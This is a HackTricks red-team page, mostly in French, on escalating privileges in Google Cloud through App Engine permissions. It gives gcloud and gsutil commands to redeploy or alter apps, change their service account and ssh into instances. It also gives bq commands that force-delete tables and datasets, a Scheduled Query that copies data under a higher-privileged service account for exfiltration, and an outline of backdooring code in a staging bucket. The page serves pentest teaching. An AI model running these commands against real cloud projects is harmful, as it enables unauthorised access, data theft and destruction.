GCP - AppEngine Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

App Engine

Pour plus d’informations sur App Engine, consultez :

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

Ce sont les permissions nécessaires pour déployer une application en utilisant gcloud cli. Il est possible que les permissions get et list puissent être évitées.

Vous pouvez trouver des exemples de code Python dans https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine

Par défaut, le nom du service App sera default, et il ne peut y avoir qu’une seule instance portant le même nom.
Pour le changer et créer une deuxième application, dans app.yaml, changez la valeur de la clé racine pour quelque chose comme service: my-second-app

cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

Attendez au moins 10–15 minutes ; si cela ne fonctionne pas, relancez le déploiement une ou deux fois et attendez quelques minutes.

Note

Il est possible d’indiquer le Service Account à utiliser mais par défaut, l’App Engine default SA est utilisé.

The URL of the application is something like https://<proj-name>.oa.r.appspot.com/ or https://<service_name>-dot-<proj-name>.oa.r.appspot.com

Mettre à jour les autorisations équivalentes

Vous disposez peut-être des autorisations nécessaires pour mettre à jour un AppEngine mais pas pour en créer un nouveau. Dans ce cas, voici comment vous pouvez mettre à jour l’App Engine actuel :

# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

Si vous avez déjà compromis un AppEngine et que vous avez la permission appengine.applications.update et actAs sur le compte de service à utiliser, vous pourriez modifier le compte de service utilisé par AppEngine avec :

gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

Avec ces permissions, il est possible de se connecter via ssh aux instances App Engine de type flexible (pas standard). Certaines des permissions list et get pourraient ne pas être vraiment nécessaires.

gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

Je pense que cela modifie simplement le SA d’arrière-plan que google utilisera pour configurer les applications, donc je ne pense pas que vous puissiez abuser de cela pour voler le service account.

gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

Je ne suis pas sûr de la façon d’utiliser ces permissions ni si elles sont utiles (notez que lorsque vous changez le code, une nouvelle version est créée, donc je ne sais pas si vous pouvez simplement mettre à jour le code ou le rôle IAM d’une version, mais je suppose que vous devriez pouvoir le faire, peut‑être en changeant le code à l’intérieur du bucket ?).

bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)

Pour supprimer des tables, des ensembles de données ou des modèles :

# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>

# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>

# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>

Abus de Scheduled Queries

Grâce aux permissions bigquery.datasets.get, bigquery.jobs.create et iam.serviceAccounts.actAs, une identité peut interroger les métadonnées d’un dataset, lancer des jobs BigQuery et les exécuter en utilisant un Service Account disposant de privilèges supérieurs.

Cette attaque permet d’abuser des Scheduled Queries pour automatiser des requêtes (exécutées sous le Service Account choisi), ce qui peut, par exemple, aboutir à la lecture d’informations sensibles et à leur écriture dans une autre table ou dataset auxquels l’attaquant a accès — facilitant une exfiltration indirecte et continue sans avoir à extraire les données hors du système.

Une fois que l’attaquant sait quel Service Account possède les permissions nécessaires pour exécuter la requête voulue, il peut créer une configuration de Scheduled Query s’exécutant avec ce Service Account et qui écrit périodiquement les résultats dans le dataset de son choix.

bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'

Accès en écriture aux buckets

Comme mentionné les appengine versions génèrent certaines données à l’intérieur d’un bucket avec le format de nom : staging.<project-id>.appspot.com. Notez qu’il n’est pas possible de pre-takeover ce bucket car les utilisateurs GCP ne sont pas autorisés à générer des buckets utilisant le domaine appspot.com.

Cependant, avec un accès read & write à ce bucket, il est possible d’escalader les privilèges vers le SA attaché à la AppEngine version en surveillant le bucket et, à chaque fois qu’un changement est effectué, modifier le code aussi rapidement que possible. Ainsi, le container créé à partir de ce code exécutera le backdoored code.

Pour plus d’informations et une PoC, consultez les informations pertinentes sur cette page :

GCP - Storage Privesc

Accès en écriture au Artifact Registry

Même si App Engine crée des images docker dans Artifact Registry, il a été constaté que même si vous modifiez l’image dans ce service et supprimez l’instance App Engine (donc une nouvelle est déployée), le code exécuté ne change pas.
Il se peut que, en réalisant une Race Condition attack comme avec les buckets il soit possible d’écraser le code exécuté, mais cela n’a pas été testé.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks